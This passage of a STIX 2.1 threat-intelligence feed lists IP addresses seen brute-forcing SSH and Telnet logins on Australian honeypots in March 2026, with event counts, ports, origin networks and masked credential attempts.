      "type": "indicator",
      "valid_from": "2026-03-14T18:15:15.000Z",
      "valid_until": "2026-04-15T18:15:12.000Z"
    },
    {
      "created": "2026-03-14T18:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--1769acce-9c62-4b25-a0fb-91f2888c20d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.63.4.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T18:15:15.000Z",
      "valid_until": "2026-04-15T18:15:12.000Z"
    },
    {
      "created": "2026-03-14T18:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain.",
      "id": "indicator--587533ea-4808-4f7b-86ac-90762130d471",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.209.75.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T18:15:15.000Z",
      "valid_until": "2026-04-15T18:15:12.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 137135. Organisation(s): Pc Care Airway Infratel Private Limited. Usernames observed (masked): d****r. Passwords observed (masked): D********!.",
      "id": "indicator--3f33ff1e-aba4-431d-9f6c-e154d659bb00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.118.114.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): d****r. Passwords observed (masked): D********!.",
      "id": "indicator--a43feeea-a2d8-4a8e-928c-5b525b8a1c58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.21.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c3dbf1b4-36aa-4d9a-a6ec-3a5689c255d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.59.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--3d8eb323-1d99-4937-b810-c2e9715d8241",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.42.226.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 437. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a**x, ***, *, ***. Passwords observed (masked): 1****6, ***, a******3, 1**4, 1******8.",
      "id": "indicator--b3f47692-63b9-4c52-a17f-7861a685bf9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.239.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): *. Passwords observed (masked): n***s.",
      "id": "indicator--348c78cc-a1ac-451f-baca-2bb027de8c7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.79.191.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--7b45c904-6ddc-4ed5-880f-2c2846ce8027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 993. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): o****e@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): B******************5, b*****************!.",
      "id": "indicator--af0bbce0-a821-4aca-afad-5e00782e1cc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.115.221.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 993. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): c*****t@bardengineering.com. Passwords observed (masked): b******************5.",
      "id": "indicator--2fe09a7b-9690-4a79-a949-55b45f48996f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.94.5.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 993. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): b*****g@bardengineering.com, **@bardengineering.com. Passwords observed (masked): B******************5, b****************3, b*****************!.",
      "id": "indicator--44816fff-b980-46df-8cc1-b21334e2b73a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.97.56.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--f322e122-38a5-40f1-b75a-060e55b61060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.255.3.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T19:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): 0**1.",
      "id": "indicator--5c2004f3-df41-4b8e-9007-0bfa6ee8fb06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T19:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.134.140.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T19:15:08.000Z",
      "valid_until": "2026-04-15T19:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, r**t, 3**********4, **, o******h. Passwords observed (masked): !******x, 1**4, 1****6, 3***********4, 3**********4.",
      "id": "indicator--f49d4ede-7c08-4a3c-95e9-4712371d5ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.174.115.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--54e87770-382e-4fc6-bd2a-f568314b761f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.148.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--b5cd0c26-78b6-47a1-a1c4-8303d850fd18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, ***, l*******w, r**t, **. Passwords observed (masked): 3***********4, 3**********4, !******x, 1**4, 1****6.",
      "id": "indicator--ed321f9b-cced-4cf5-aeec-73230066832d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--40f61673-2a3a-41cc-b760-9784a9c65f06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.151.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ebb5f9e1-f3de-4d67-b9fb-8ad5bd37ffc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--c9afe481-efcd-4afe-8000-699c4a315fa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.236.224.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4b725b5a-5152-4ca8-a071-19ac60026ac1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--b0b8dfe8-405b-4dee-8fb7-9d65401d41e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.137.156.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:15:07.000Z",
      "valid_until": "2026-04-15T20:15:05.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 131516. Organisation(s): Jinhua Weian InfoTech Co., Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d627d7a5-e0a1-4d81-ab6f-5ed97f1f8fd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.239.185.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--7cde9468-2160-4272-9fff-7160cd26b8de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.132.34.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 42926. Organisation(s): Radore Veri Merkezi Hizmetleri A.S.. Usernames observed (masked): ***, 3**********4, b**t, d********r, f******1. Passwords observed (masked): ***, 1**4, 1***5, 1******8, 2******X.",
      "id": "indicator--c8865566-2839-4b77-af34-5a4aa6780891",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.53.96.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): a*****e, 3**********4, s*******n. Passwords observed (masked): 3***********4, 3**********4, p******d, s*******n.",
      "id": "indicator--5ea02e1a-9aa7-4500-af81-8be57d138995",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.6.235.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d0fb12f8-cc38-408e-8beb-88d75bbcc094",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.25.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 0*********s, A********4, Q**********4.",
      "id": "indicator--7bec27a9-a5fb-401a-95a6-63fe0deb7b57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.151.191.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7b8acedc-b9e6-41be-b64e-39bbb8856ca9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.224.248.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--3b89ead4-2d44-49ae-b522-b31869932568",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--97da2117-0b3a-4165-8525-6679d11675b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--3ff12fd6-b874-4280-a0ea-c5c8712db070",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): A*******************p, G************1, U***************************************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--815ef2a5-61a1-4d39-bfae-0a073c702bd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T21:15:14.000Z",
      "valid_until": "2026-04-15T21:15:12.000Z"
    },
    {
      "created": "2026-03-14T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268790. Organisation(s): EASY NET TELECOMUNICACOES LTDA.",
      "id": "indicator--c04f210f-7d88-445f-8808-aa7785b20d72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
